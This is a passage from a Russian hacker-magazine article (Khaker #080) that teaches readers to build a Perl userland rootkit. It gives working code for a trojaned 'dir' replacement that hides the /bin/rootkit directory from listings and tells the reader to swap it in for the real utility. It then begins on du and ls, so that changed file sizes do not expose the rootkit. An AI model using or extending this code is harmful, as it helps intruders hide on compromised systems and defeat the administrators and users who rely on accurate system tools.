Системный маскарад Юрий Гольцев Хакер, номер #080, стр. 080-058-2 Зададим какой-нибудь переменной путь до папки, в которой лежат оригинальные утилиты и находятся некоторые файлы руткита: $kit_path="/bin/rootkit"; Эта строка, кстати, будет присутствовать почти во всех файлах нашего будущего руткита. Первым делом необходимо написать код, проверяющий входные аргументы. То есть если кто-то запустит утилиту dir с параметром /bin/rootkit, то в ответ ему выведется не атрибуты нашей папки, а сообщение, указывающие на то, что папка не существует. Данный код достаточно легко реализовать: $pwd=`pwd`; # определяем местонахождение пользователя в системных каталогах foreach $arg(@ARGV) # проверяем каждый элемент массива параметров запуска { if(($arg eq "/bin/rootkit/") || ($arg eq "rootkit")&&($pwd eq "bin")) # если аргумент равен /bin/rootkit - # расположение нашей папки с руткитом, то выполняем следующее {print "dir : $arg : No such file or directory\n";exit();} #выводим на экран сообщение о том, что такой папки или файла не существует } После этого запускаем утилиту dir с переданными нашему скрипту параметрами: $dir=`/bin/rootkit/dir @ARGV`; В переменную $sher записались все данные, которые выдала утилита dir после окончания своей работы. Теперь перед тем, как выводить данные пользователю, необходимо проверить их на присутствие информации о файлах нашего руткита. То есть, если юзер запустит утилиту dir для папки /bin, в ответе он не должен увидеть папку /bin/rootkit. Мы остановились в нашем коде на том, что записали в переменную $dir выходные данные с утилиты dir. Теперь нужно эти данные грамотно обработать и вывести пользователю: @dirz=split(/ /,$dir); #разрезаем $dir на несколько строк по 2 пробелам #начинаем проверку данных, и, если потребуется, замену: $count=0; foreach $dirz(@dirz) { $count++; if ($dirz =~ /$kit_path/){$dirz=""} # ищем «/bin/rootkit» if (($dirz =~ /rootkit/)&&($pwd=="/bin")){$dirz=""} # ищем «rootkit» if ($count == scalar(@dirz) ){print "$dirz";exit();} print "$dirz "; } Что ж, могу тебя обрадовать — скрипт, управляющий выходными данными с утилиты dir, готов. Осталось только переместить оригинальную утилиту в папку /bin/rootkit, а на ее место скопировать только что написанную нами программу. В дальнейшем, то есть после того, как все файлы нашего руткита будут готовы, ты должен их скрыть. В случае если ты перл не знаешь, или знаешь очень плохо, то тебе понадобиться умение правильно программировать методом copy & paste, и подправить немного пути до программ :). [приступим к du] Переходим плавно к другой утилите – du. Описывать код целиком я не буду: алгоритм все уже поняли. Первым делом проверяем аргументы, далее запускаем программу, получаем ответ, обрабатываем и выводим пользователю. Скелетом для du может послужить наш скрипт dir. А теперь основное: утилиты du и ls выдают информацию о размере файла в системе, а также некоторые индивидуальные для каждого файла атрибуты. То есть, если кто-нибудь выполнит команду du /bin или ls -l /bin, то, скорее всего наш руткит будет рассекречен, так как размеры всех переделанных нами утилит естественно будут не совпадать с размерами оригиналов. Вот это нам и нужно скрыть. Начнем. |